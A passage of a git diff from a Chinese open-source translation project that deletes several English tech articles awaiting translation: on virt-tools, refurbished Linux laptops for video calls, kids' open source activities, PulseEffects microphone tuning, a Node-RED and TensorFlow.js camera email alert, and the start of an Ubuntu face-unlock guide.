-![Virt-manager website][37] - -(Bryant Son, [CC BY-SA 4.0][4]) - -Virt-manager is a desktop user interface for managing VMs through libvirt. It primarily targets KVM VMs but also manages Xen and LXC. It also includes the command line provisioning tool virt-install. Think of virt-manager as an easy-to-use management tool for your VMs. For example, you can use virt-manager to run a Microsoft Windows environment on a Linux workstation or vice versa. - -Virt-manager's [source code][23] is available on GitHub and [documentation][38] is on its website. At this time, virt-manager is only available for Linux platforms. - -### Libosinfo - -![Libosinfo website][39] - -(Bryant Son, [CC BY-SA 4.0][4]) - -Libosinfo provides a database of information about operating system releases to assist in configuring hardware when deploying VMs. It includes a C library for querying information in the database, which is also accessible from any language supported by GObject introspection. As you may guess, libosinfo is more of a building block to enable an operating system's functionality—but quite an important one. - -Libosinfo's [source code][25] is available on GitLab, and its [documentation][40] can be found on at its website. - -### Conclusion - -Virt-tools is a set of six powerful tools that make virtualization easier and enable important virtualization functions. All of them are open source projects, so I encourage you to explore further and maybe even contribute to them. - -What do you think? Feel free to leave a comment to share your thoughts or ask questions. - -Learn how Vagrant and Ansible can be used to provision virtual machines for web development. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/virt-tools - -作者:[Bryant Son][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/brson -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/what_is_virtualization.png?itok=e4WCa7N_ (What is virtualization) -[2]: https://www.virt-tools.org/ -[3]: https://opensource.com/sites/default/files/uploads/1_virttools.jpg (Virt Tools website) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://youtu.be/E6TBDh2RLY8 -[6]: https://www.redhat.com/en/topics/virtualization/what-is-virtualization -[7]: https://en.wikipedia.org/wiki/Virtualization -[8]: https://en.wikipedia.org/wiki/Emulator -[9]: https://en.wikipedia.org/wiki/Virtual_machine -[10]: https://en.wikipedia.org/wiki/Hardware_virtualization -[11]: https://en.wikipedia.org/wiki/Hypervisor -[12]: https://en.wikipedia.org/wiki/Kernel_%28operating_system%29 -[13]: https://en.wikipedia.org/wiki/Daemon_%28computing%29 -[14]: https://www.linux-kvm.org/page/Main_Page -[15]: https://git.kernel.org/pub/scm/virt/kvm/kvm.git -[16]: https://www.qemu.org -[17]: https://git.qemu.org/git/qemu.git -[18]: https://libvirt.org -[19]: https://libvirt.org/git/?p=libvirt.git -[20]: http://libguestfs.org/ -[21]: https://github.com/libguestfs/libguestfs -[22]: https://virt-manager.org -[23]: https://github.com/virt-manager/virt-manager -[24]: https://libosinfo.org/download/ -[25]: https://gitlab.com/libosinfo/libosinfo -[26]: https://opensource.com/sites/default/files/uploads/2_kvm.jpg (KVM website) -[27]: https://www.linux-kvm.org/page/Documents -[28]: https://opensource.com/sites/default/files/uploads/3_qemu.jpg (QEMU website) -[29]: https://opensource.com/article/20/6/homebrew-mac -[30]: https://opensource.com/sites/default/files/uploads/3_1_qemuinstall.jpg (QEMU macOS installation info) -[31]: https://www.qemu.org/documentation/ -[32]: https://opensource.com/sites/default/files/uploads/4_libvirt.jpg (Libvirt website) -[33]: https://kubevirt.io/ -[34]: https://opensource.com/sites/default/files/uploads/5_libguestfs.jpg (Libguestfs website) -[35]: https://www.openshift.com/blog/blog-openshift-virtualization-whats-new-with-virtualization-from-red-hat -[36]: https://www.youtube.com/watch?v=tWPC-YER1I0 -[37]: https://opensource.com/sites/default/files/uploads/6_virtualmanager.jpg (Virt-manager website) -[38]: https://virt-manager.org/documentation/ -[39]: https://opensource.com/sites/default/files/uploads/7_libosinfo.jpg (Libosinfo website) -[40]: https://libosinfo.org/documentation/ diff --git a/sources/tech/20200825 How to choose an affordable Linux laptop for video conferencing.md b/sources/tech/20200825 How to choose an affordable Linux laptop for video conferencing.md deleted file mode 100644 index 1f58942551..0000000000 --- a/sources/tech/20200825 How to choose an affordable Linux laptop for video conferencing.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to choose an affordable Linux laptop for video conferencing) -[#]: via: (https://opensource.com/article/20/8/linux-laptop-video-conferencing) -[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdoss) - -How to choose an affordable Linux laptop for video conferencing -====== -Open source can give pre-owned computers the necessary boost to make -them useful with today's popular video conferencing tools. -![Two people chatting via a video conference app][1] - -As more and more activities move online during the global pandemic, an increasing number of folks are looking for affordable and stable solutions to connect to their doctor, therapist, bank, college, and more. Many of the folks I've been working with are on limited incomes, and they're eager for any technical help they can get. - -Whether they're on a proprietary video conferencing solution or using an [open source one like Jitsi Meet][2], everyone needs a platform that's robust enough to support their needs without breaking the budget. One of the leading cloud video conferencing providers [recommends][3] that platforms should have at least an i3 processor or equivalent with a minimum of 4GB RAM. My experience has taught me that an i5 or equivalent and at least 4-8GB RAM is even better. - -I also recommend Linux for running meeting solutions. You could go out and purchase a new Linux computer. However, if you're on a limited income, then plunking down $1000 or more for a new system might not be what you had in mind. - -A more budget-friendly solution I recently put together for a friend was a 2015 MacBook Air running Elementary OS. The computer had 4GB RAM, an i5 processor, and 240GB NVMe solid-state drive. Elementary OS was a great choice for this computer, as it came with a Broadcom 4360 wireless card, which didn't play nice with other Linux distributions but was detected by Elementary. The FaceTime camera didn't work with any Linux distribution I tried, Elementary included, and no one seems to have a good solution, so I purchased a USB camera and connected it to the laptop. This fellow needed to use Zoom to connect to his church, so I downloaded the [Zoom client][4] for Linux and installed it. The software download supports .rpm, .deb, and [Flatpak][5]. - -In another case, I purchased a refurbished PC laptop from a prominent vendor. It came with 8GB RAM, i5, webcam, and 256 SSD drive. I'm going to install either Fedora or Pop!_OS on it along with the Zoom client and the usual complement of free software, including LibreOffice, Calibre, ClamAV, Gnu Chess, and other games for my friend to explore. - -### Used laptops for Linux - -When looking for a used laptop, I usually consider the reputation of the brand. I check for the same or similar models and their compatibility with Linux. Both [Fedora][6] and [Ubuntu][7] maintain lists of acceptable hardware platforms. If possible, I try to get a list of the included hardware. For example, what is the CPU model and speed? Does the unit have Bluetooth built-in? How many USB ports does it have? Does it have audio ports? Does it support Thunderbolt? Does it have built-in WiFi, and what is the chipset of the WiFi adapter? I have had good luck with Intel, Broadcom, and Realtek, though the list varies depending on your particular needs. - -There are many sources of good used laptops and desktops, but my favorites are eBay, [Dell Refurbished][8], and [PC Liquidations][9]. I look for units that are three to five years old, that are in good condition, and that have at least an Intel i3 or AMD FX-6300, or better, processor. CPU speed and at least 4 GB RAM are important if you are going to be using your Linux laptop or desktop for video conferencing. Check to make sure the unit you purchase has a power supply. It's handy to have a webcam, but that's not a dealbreaker because you can use a USB camera. I have had good experiences with Logitech web cameras. - -### Refurbishing computers - -When refurbishing older laptops or desktop computers, you'll often find older system components such as a mechanical hard drive or WiFi card that doesn't support the latest wireless technology. These can usually be remedied with a small amount of effort and a minimal budget. For instance, replacing an old hard drive with a solid-state drive (SSD) will usually provide an immediate performance boost. You can also purchase newer WiFi + Bluetooth cards. Most likely, the form factor on a laptop will be Mini PCI but do your research to be sure. This allows you to choose a brand and chipset that might be better supported by Linux. RAM can also be increased. 4GB is definitely my minimum, but I'd much rather have 8GB. I also like to install the latest BIOS, if it is available from the respective vendor, in order to have the latest fixes and features. - -A lot of this advice also applies to desktop systems. You'll generally have more flexibility with these since there are more card slots and other connectors for peripherals. For instance, an older system may not support new technology such as Bluetooth, WiFi, or USB3. Add-in PCI or PCIe cards can be installed to provide this support. - -### Choosing a Linux distribution for an old computer - -The last piece of the puzzle is choosing a Linux distribution for your rescued computer. There are many distributions out there, and though they do like to highlight their own unique spin on providing a [Linux desktop][10], at the end of the day, they're all Linux. When it comes to installing Linux on an old computer, the best one is the one that works on the computer you have. - -The key is to step through the install process (it's not much more complex than installing an office application or a new web browser) and then see how your computer responds when you reboot it. If you get a desktop to come up and you can open and run basic applications, then you're on the right track. - -Once you're satisfied that you have a working computer with a desktop and access to the Internet, give your usual video conferencing application a try. If it fails, try a lightweight Linux distribution in hopes that using fewer resources for your OS can solve any video issues. - -Also, if your camera is HiDef (high definition or HD), then try setting it to broadcast at a lower resolution. Sometimes this can improve your system's performance because you're sending less data over what's probably an old network card with a limited capacity. - -I recommend trying [Elementary OS][11] or [Fedora Linux][12] for recent computers. For very old computers, try [Peppermint OS][13], which is specifically designed for computers without many resources. The great news is there are multiple ways to use open source solutions to turn your old machine into a modern communication platform. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/linux-laptop-video-conferencing - -作者:[Alan Formy-Duval][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alanfdoss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/chat_video_conference_talk_team.png?itok=t2_7fEH0 (Two people chatting via a video conference app) -[2]: https://opensource.com/article/20/5/open-source-video-conferencing -[3]: https://support.zoom.us/hc/en-us/articles/201362023-System-requirements-for-Windows-macOS-and-Linux -[4]: https://zoom.us/download -[5]: https://flathub.org/apps/details/us.zoom.Zoom -[6]: https://docs.fedoraproject.org/en-US/fedora/rawhide/release-notes/welcome/Hardware_Overview/ -[7]: https://certification.ubuntu.com/ -[8]: https://www.dellrefurbished.com/laptops -[9]: https://www.pcliquidations.com/ -[10]: https://opensource.com/article/20/5/linux-desktops -[11]: https://elementary.io/ -[12]: http://getfedora.org/ -[13]: https://peppermintos.com/ diff --git a/sources/tech/20200829 5 open source activities for kids to try this weekend.md b/sources/tech/20200829 5 open source activities for kids to try this weekend.md deleted file mode 100644 index a6cb0f4cb5..0000000000 --- a/sources/tech/20200829 5 open source activities for kids to try this weekend.md +++ /dev/null @@ -1,65 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 open source activities for kids to try this weekend) -[#]: via: (https://opensource.com/article/20/8/open-source-kids) -[#]: author: (Lauren Pritchett https://opensource.com/users/lauren-pritchett) - -5 open source activities for kids to try this weekend -====== -These open source boredom busters will keep kids of all ages busy having -fun. -![Family learning and reading together at night in a room][1] - -During the last six months or so, my family and I have enjoyed a slower pace of life. With few museums and parks open, we’ve stayed safer at home together or going on outdoor excursions. My young children are pretty good at creating their imaginary worlds where they could play for hours. I think they are adapting to this new normal better than I am to tell you the truth. However, there will be weekends when we have all run out of ideas. Luckily, Opensource.com is chock full of boredom-busters for kids of all ages. In this article, I rounded up a few of our more recent open source activities for kids.  - -## [Create coloring book pages with Jupyter][2] - -My toddler uses crayons, markers, pencils, or any other writing utensil available on every sheet of paper in the house. Being surrounded by original artwork is fabulous, but he is running out of coloring page designs! With Jupyter, you can have an endless supply of coloring sheets at the ready for kids. Browse Creative Commons for images and use the magic of Python and Jupyter to turn them into one-of-a-kind coloring pages. - -## [Go to an open source scavenger hunt][3] - -When I was a kid, my brother and I each had a massive map of the United States on our bedroom wall. Each time we visited a new state, we highlighted it on our map. Since he is a few years older than me, I was continually playing catch-up, but eventually we evened the tally. This early exposure cultivated a lifelong interest in maps for both of us. These days, we can access and contribute to maps right from the palm of our hands with OpenStreetMap. The StreetComplete mobile app makes it possible to find and complete quests the whole family can enjoy together. Go on a scavenger hunt while helping out your community! - -## [Build a video game to learn Python][4] - -Seasoned educators know that the best way to teach a new subject is to turn it into a game. Author [Moshe Zadka][5] is one of those educators. He designed a Jupyter Notebook to teach people Python by making an interactive game. With Python and Git installed on your computer, you and your child can follow the steps in his tutorial. By the end, you will be having so much fun playing a penguin video game!  - -**[Read next: [Programmable tanks and Raspberry Pi: Try these kid tech projects][6]]** - -## [Experiment with open source robotics][7] - -Last fall, author [Jess Weichler][8] shared a list of her favorite maker gifts for kids and teens. It featured [Hummingbird][9], an open source robotics kit ideal for kids ages eight and up. Since it supports several popular programming languages, kids can have fun practicing their coding skills. Hummingbird is compatible with Linux, Windows, Mac, Chromebook, Android, and iOS. - -## [Play with virtual LEGOs][10] - -Have you ever stepped on a rogue LEGO brick? It’s a pain one never forgets. I love watching my daughter build cars, ice cream stands, and castles with her LEGO bricks. Our household’s cardinal rule is to keep LEGO bricks off the floor. This is easier said than done! Playing with virtual LEGOs is a much safer route to take. [Seth Kenlon’s][11] tutorial walks LEGO lovers through using open source tools to build and play with virtual bricks. - -How have you been keeping yourself and the young people around you entertained? Share your ideas in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/open-source-kids - -作者:[Lauren Pritchett][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lauren-pritchett -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/family_learning_kids_night_reading.png?itok=6K7sJVb1 (Family learning and reading together at night in a room) -[2]: https://opensource.com/article/20/8/edit-images-python -[3]: https://opensource.com/article/20/1/streetcomplete-crowdsource-maps -[4]: https://opensource.com/article/20/5/python-games -[5]: https://opensource.com/users/moshez -[6]: https://enterprisersproject.com/article/2020/7/raspberry-pi-tech-projects-kids -[7]: https://opensource.com/article/19/11/maker-gifts-kids -[8]: https://opensource.com/users/cyanide-cupcake -[9]: https://www.birdbraintechnologies.com/hummingbirdbit/ -[10]: https://opensource.com/article/20/6/open-source-virtual-lego -[11]: https://opensource.com/users/seth diff --git a/sources/tech/20200831 Tune up your sound with PulseEffects- Microphones.md b/sources/tech/20200831 Tune up your sound with PulseEffects- Microphones.md deleted file mode 100644 index a700b13747..0000000000 --- a/sources/tech/20200831 Tune up your sound with PulseEffects- Microphones.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Tune up your sound with PulseEffects: Microphones) -[#]: via: (https://fedoramagazine.org/tune-up-your-sound-with-pulseeffects-microphones/) -[#]: author: (Paul W. Frields https://fedoramagazine.org/author/pfrields/) - -Tune up your sound with PulseEffects: Microphones -====== - -![][1] - -The PulseEffects [app][2] is a full-featured set of modular effects you can use to adjust sound devices. In a [previous article][3], you learned how you can use PulseEffects to correct or enhance output devices like speakers. However, that’s not where its features stop. You can also enhance sound input devices such as microphones. This can help when recording sound for podcasts, videos, or the like. - -This article assumes you’ve already installed PulseEffects as shown in the [previous article][3]. It will not cover advanced topics like recording musical instruments, but it will show you how to do better voice or spoken-word recordings. - -### A word on microphones - -Microphones come in a variety of forms. The one almost every laptop user has at hand is the condenser microphone built into the hardware. These microphones are limited in terms of producing quality sound. They’re built to provide basic sound, and they will pick up a lot of environmental noise due to how they work. If you want better results for a voice recording, there are many choices available based on budget. - - * USB headset with built-in condenser microphone: Generally [budget-friendly][4] and almost always gives better results than a laptop’s built-in mic. The resulting sound can be somewhat harsh and tinny, but this can be corrected. Manufacturers such as Logitech make units that are plug-and-play ready for Linux. They show up as USB sound devices (both input and output). - * Handheld dynamic microphone: You’ll see the singer in a live band using one of these. You have to be close to them (and maintain that distance steadily) for best results, but they sound full and well-defined. These are typically [a little more expensive][5] than a USB headset. - * Large diaphragm condenser microphone: You’ll see this type used by a singer or speaker in a broadcast or recording studio. Like other condensers they pick up a lot of the surrounding environment. By being fairly close to the mic you can essentially “turn down” the rest of the room. You can find budget friendly, good quality large condensers [starting at the same price][6] as a good dynamic mic. Prices go up from there to astronomical levels! - - - -Most dynamic and large diaphragm condenser mics need to be plugged into a _digital audio interface_, using a microphone cable. This converts the signal from the mic into digital audio for the computer to use. However, you can find specialty mics made for direct connection via USB. These may be advertised as “podcaster mics,” and you can [save some money][7] using one of these, versus buying both a mic and an interface. - -### Making the mic sound better - -Effects help you improve the recorded sound of your microphone. Whether you know it or not, you hear these effects all the time in recorded sound — in music, in TV shows and movies, on professional podcasts, and via commercial and satellite radio. Engineers apply these effects using either hardware units, or via software. - -PulseEffects provides these effects in a software form, before your recording is saved on disk. Here is a list, in the order they are usually applied: - - * A _gate_ reduces or entirely mutes the microphone when sound falls below a certain level. With proper settings, when you start speaking, the gate quickly opens, unmuting the mic. When you finish, the gate closes and other environmental sound will be either silenced or much quieter. - * A _compressor_ reduces the dynamic range of the input. Louder sounds are caught by the compressor and squashed down. You then turn the entire signal up slightly to compensate. This way, quieter and louder sounds become closer in volume, making the sound more even and less “peaky.” This results in a more professional, polished sound that’s much more enjoyable for listeners. - * An _equalizer_ (EQ) tunes up the sound of the voice. Use it to mitigate tones in your voice that you find unflattering. In addition, when you speak close to a mic, the bass frequencies in the voice are unnaturally emphasized. Sound engineers call this the _proximity effect_. By using an EQ to roll off the low end frequencies, you can reduce this effect and create a more pleasant sound. - * A _limiter_ is often the last step in a signal chain. This effect puts an absolute limit on the volume of a sound, so that unexpectedly hard sounds (such as _p_ or _b_ sounds, called _plosives_) that aren’t caught by compression don’t distort and ruin your recording. - - - -### Dive into PulseEffects - -Open up the _PulseEffects_ app. In the top left corner, choose the microphone selector icon. This lets you set up the effects chain you want for the mic as an input device. As with output devices (speakers), you can save your effects chain as well. - -Use recording software that registers as a PulseAudio client to see your effects at work. The _PulseCaster_ app is one such app, but there are many others you can choose. - -### Tips from a mix engineer - -These guidelines may help you find the optimal sound. Remember that no two sound situations are ever the same. Use your ears, and do some test recordings, to figure out what’s best for your situation. - - * When you apply the gate, use a fast response of 5-10ms. The human voice has a significant “startup time,” so this speed makes the gate unnoticeable. Give the gate some time to close, though, so you don’t cut off the end of speech. Typically 100-200ms sounds fairly natural. A gain reduction of -12 or -18dB suffices to reduce environmental noise, and sounds more natural than more extreme values. - * If you find a module is overloading when you speak, either reduce the output of the effects module before it, or the input of the module itself. - * If you like the sound of your recorded voice without an EQ, use the _Filter_ module instead to simply apply a high pass filter. For male voices, use a roll-off frequency of 80-100 Hz. For female voices, use a higher value. If you set the filter too high, the recording may sound weak or nasal. - * Use a compressor ratio between 3 and 4 (this is actually 3:1 – 4:1) which works well with a human voice. An attack of 20ms and a release of 100-200ms is typical. - * You may want to try the _Deesser_ module as well, to reduce the “sizzling” of _s_, _z_, _t_, and _f_ sounds. Because voices vary so widely, you’ll need to tune this to taste. A split of 6kHz and a threshold of -18dB is a good place to start. - * A limiter setting of -1 to -3dB usually works well. Much lower settings result in a very “squashed” sounding track. In some cases that may be useful; in others it will sound unnatural. - - - -Refer to the previous article to save your effects chain. Remember, you can store multiple chains, and then select the one you want for your particular needs. - -* * * - -_Photo by [Jacek Dylag][8] on [Unsplash][9]_. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/tune-up-your-sound-with-pulseeffects-microphones/ - -作者:[Paul W. Frields][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/pfrields/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/08/pulseeffects-2-816x345.jpg -[2]: https://flathub.org/apps/details/com.github.wwmm.pulseeffects -[3]: https://fedoramagazine.org/tune-up-your-sound-with-pulseeffects-speakers/ -[4]: https://www.google.com/search?q=usb+headset+with+mic&tbm=shop -[5]: https://www.google.com/search?tbm=shop&q=handheld+dynamic+microphone -[6]: https://www.google.com/search?tbm=shop&q=large+condenser+microphone -[7]: https://www.google.com/search?tbm=shop&q=usb+microphone -[8]: https://unsplash.com/@dylu?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[9]: https://unsplash.com/s/photos/microphone?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20200901 Developing an email alert system using a surveillance camera with Node-RED and TensorFlow.js.md b/sources/tech/20200901 Developing an email alert system using a surveillance camera with Node-RED and TensorFlow.js.md deleted file mode 100644 index 3733bab543..0000000000 --- a/sources/tech/20200901 Developing an email alert system using a surveillance camera with Node-RED and TensorFlow.js.md +++ /dev/null @@ -1,179 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Developing an email alert system using a surveillance camera with Node-RED and TensorFlow.js) -[#]: via: (https://www.linux.com/news/developing-an-email-alert-system-using-a-surveillance-camera-with-node-red-and-tensorflow-js/) -[#]: author: (Linux.com Editorial Staff https://www.linux.com/author/linuxdotcom/) - -Developing an email alert system using a surveillance camera with Node-RED and TensorFlow.js -====== - -## **Overview** - -In a previous article, we introduced [a procedure for developing an image recognition flow using Node-RED and TensorFlow.js.][1] Now, let’s apply those learnings from what we have done and develop an e-mail alert system that uses a surveillance camera together with image recognition. As shown in the following image, we will create a flow that automatically sends an email alert when a suspicious person is captured within a surveillance camera frame. - -![][2] - -## **Objective: Develop flow** - -In this flow, the image of the surveillance camera is periodically acquired from the webserver, and the image is displayed under the **“Original image”** node in the lower left. After that, the image is recognized using the **TensorFlow.js** node. The recognition result and the image with recognition results are displayed under the **debug** tab and the **“image with annotation”** node, respectively. - -![][3] - -If a person is detected by image recognition, an alert mail with the image file attached will be sent using the **SendGrid** node.  Since it is difficult to set up a real surveillance camera, we will use a sample [image sent by a surveillance camera in Kanagawa Prefecture of Japan][4]  to check the amount of water in the river. - -We will explain the procedure for creating this flow in the following sections. For the Node-RED environment, use your local PC, a Raspberry Pi, or a cloud-based deployment. - -## **Install the required nodes** - -Click the hamburger menu on the top right of the Node-RED flow editor, go to **“Manage palette” -> “Palette” tab -> “Install”** tab, and install the following nodes. - - * –[node-red-contrib-tensorflow][5]: Image recognition node using TensorFlow.js - * –[node-red-contrib-image-output][6]: Nodes that display images on the Flow Editor - * –[node-red-contrib-sendgrid][7]: Nodes that send mail using SendGrid - - - -## **Create a flow of acquiring image data** - -First, create a flow that acquires the image binary data from the webserver. As in the flow below, place an inject node (the name will be changed to **“timestamp”** when placed in the workspace), **http request** node, and **image preview** node, and connect them with wires in the user interface. - -![][8] - -Then double-click the **http request** node to change the node property settings. - -## **Adjust** _**http request**_ **node property settings** - -  - -Paste the URL of the surveillance camera image to the URL on the property setting screen of the **http request** node. (In Google Chrome, when you right-click on the image and select **“Copy image address”** from the menu, the URL of the image is copied to the clipboard.) Also, select **“a binary buffer”** as the output format. - -![][9] - -## **Execute the flow to acquire image data** - -Click the **Deploy** button at the top right of the flow editor, then click the button to the **inject** node’s left. Then, the message is sent from the **inject** node to the **http request** node through the wire, and the image is acquired from the web server that provides the image of the surveillance camera. After receiving the image data, a message containing the data in binary format is sent to the **image preview** node, and the image is displayed under the **image preview** node. - -![][10] - - An image of the river taken by the surveillance camera is displayed in the lower right. - -## **Create a flow for image recognition of the acquired image data** - -Next, create a flow that analyzes what is in the acquired image. Place a **cocossd** node, a **debug** node (the name will be changed to **msg.payload** when you place it), and a second **image preview** node. - -Then, connect the **output termina**l on the right side of the **http request** node, and the **input terminal** on the left side of the **cocossd** node. - -Next, connect the **output terminal** on the right side of the **cocossd** node and the debug node, the **output terminal** on the right side of the **cocossd** node, and the **input terminal** on the left side of the **image preview** node with the respective wires. - -Through the wire, the binary data of the surveillance camera image is sent to the **cocossd** node, and after the image recognition is performed using **TensorFlow.js,** the object name is displayed in the **debug** node, and the image with the image recognition result is displayed in the **image preview** node.  - -![][11] - -The **cocossd** node is designed to store the object name in the variable **msg.payload**, and the binary data of the image with the annotation in the variable **msg.annotatedInput**.  - -To make this flow work as intended, you need to double-click the **image preview** node used to display the image and change the node property settings. - -## **Adjust** _**image preview**_ **node property settings** - -By default, the **image preview** node displays the image data stored in the variable **msg.payload**. Here, change this default variable to **msg.annotatedInput**. - -![][12] - -## **Adjust** _**inject**_ **node property settings** - -Since the flow is run regularly every minute, the **inject** node’s property needs to be changed. In the **Repeat** pull-down menu, select **“interval”** and set **“1 minute”** as the time interval. Also, since we want to start the periodic run process immediately after pressing the **Deploy** button, select the checkbox on the left side of **“inject once after 0.1 seconds”.** - -![][13] - -## **Run the flow for image recognition** - -The flow process will be run immediately after pressing the **Deploy** button. When the person (author) is shown on the surveillance camera, the image recognition result **“person”** is displayed in the debug tab on the right. Also, below the **image preview** node, you will see the image annotated with an orange square. - -![][14] - -## **Create a flow of sending an email when a person caught in the surveillance camera** - -Finally, create a flow to send the annotated image by email when the object name in the image recognition result is **“person”**. As a subsequent node of the **cocossd** node, place a **switch** node that performs condition determination, a **change** node that assigns values, and a **sendgrid** node that sends an email, and connect each node with a wire. - -![][15] - -Then, change the property settings for each node, as detailed in the sections below. - -## **Adjust the** _**switch**_ **node property settings** - -Set the rule to execute the subsequent flow only if **msg.payload** contains the string **“person” ** - -To set that rule, enter **“person”** in the comparison string for the condition **“==”** (on the right side of the **“az”** UX element in the property settings dialog for the switch node). - -![][16] - -## **Adjust the** _**change**_ **node property settings** - -To attach the image with annotation to the email, substitute the image data stored in the variable **msg.annotatedInput** to the variable **msg.payload**. First, open the pull-down menu of **“az”** on the right side of the UX element of **“Target value”** and select **“msg.”**. Then enter **“annotatedInput”** in the text area on the right. - -![][17] - -If you forget to change to **“msg.”** in the pull-down menu that appears when you click **“az”,** the flow often does not work well, so check again to be sure that it is set to **“msg.”**. - -## **Adjust the** _**sendgrid**_ **node property settings** - -Set the API key from the [SendGrid management screen][18]. And then input the sender email address and recipient email address. - -![][19] - -Finally, to make it easier to see what each node is doing, open each node’s node properties, and set the appropriate name. - -## **Validate the operation of the flow to send an email when the surveillance camera captures a person in frame** - -When a person is captured in the image of the surveillance camera, the image recognition result is displayed in the debug tab the same as in the previous flow of confirmation and the orange frame is displayed in the image under the **image preview** node of **“Image with annotation”**. You can see that the person is recognized correctly. - -![][20] - -After that, if the judgment process, the substitution process, and the email transmission process works as designed, you will receive an email with the image file with the annotation attached to your smartphone as follows: - -![][21] - -## **Conclusion** - -By using the flow created in this article, you can also build a simple security system for your own garden using a camera connected to a Raspberry Pi. At a larger scale, image recognition can also be run on image data acquired using network cameras that support protocols such as [ONVIF][22]. - -*About the author: Kazuhito Yokoi is an Engineer at Hitachi’s OSS Solution Center, located in Yokohama, Japan. * - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/developing-an-email-alert-system-using-a-surveillance-camera-with-node-red-and-tensorflow-js/ - -作者:[Linux.com Editorial Staff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/linuxdotcom/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/news/using-tensorflow-js-and-node-red-with-image-recognition-applications/ -[2]: https://www.linux.com/wp-content/uploads/2020/09/tensor1.png -[3]: https://www.linux.com/wp-content/uploads/2020/09/tensor2.png -[4]: http://www.pref.kanagawa.jp/sys/suibou/web_general/suibou_joho/html/camera/past0/p20102_0_6.html -[5]: https://flows.nodered.org/node/node-red-contrib-tensorflow -[6]: https://flows.nodered.org/node/node-red-contrib-image-output -[7]: https://flows.nodered.org/node/node-red-contrib-sendgrid -[8]: https://www.linux.com/wp-content/uploads/2020/09/tensor3.png -[9]: https://www.linux.com/wp-content/uploads/2020/09/tensor4.png -[10]: https://www.linux.com/wp-content/uploads/2020/09/tensor5.png -[11]: https://www.linux.com/wp-content/uploads/2020/09/tensor6.png -[12]: https://www.linux.com/wp-content/uploads/2020/09/tensor7.png -[13]: https://www.linux.com/wp-content/uploads/2020/09/tensor8.png -[14]: https://www.linux.com/wp-content/uploads/2020/09/tensor9.png -[15]: https://www.linux.com/wp-content/uploads/2020/09/tensor10.png -[16]: https://www.linux.com/wp-content/uploads/2020/09/tensor11.png -[17]: https://www.linux.com/wp-content/uploads/2020/09/tensor12.png -[18]: https://sendgrid.com/ -[19]: https://www.linux.com/wp-content/uploads/2020/09/tensor13.png -[20]: https://www.linux.com/wp-content/uploads/2020/09/tensor14.png -[21]: https://www.linux.com/wp-content/uploads/2020/09/tensor15.png -[22]: https://www.onvif.org/ diff --git a/sources/tech/20200901 How to Set Up Facial Recognition to Sign into Ubuntu and Other Linux Distributions.md b/sources/tech/20200901 How to Set Up Facial Recognition to Sign into Ubuntu and Other Linux Distributions.md deleted file mode 100644 index 2d953732e0..0000000000 --- a/sources/tech/20200901 How to Set Up Facial Recognition to Sign into Ubuntu and Other Linux Distributions.md +++ /dev/null @@ -1,249 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Set Up Facial Recognition to Sign into Ubuntu and Other Linux Distributions) -[#]: via: (https://itsfoss.com/face-unlock-ubuntu/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -How to Set Up Facial Recognition to Sign into Ubuntu and Other Linux Distributions -====== - -Despite all the concern, facial recognition is getting popular among consumers. Most recent Android and iOS devices have the feature to unlock the device with facial authentication. - -Once you get used to the face unlock or fingerprint unlock, typing password feels like a tedious, boring task. - -On Windows operating system, Microsoft provides the [Windows Hello][1] that allows instant authentication based on your face. - -On Linux, face unlock is not a built-in feature. No 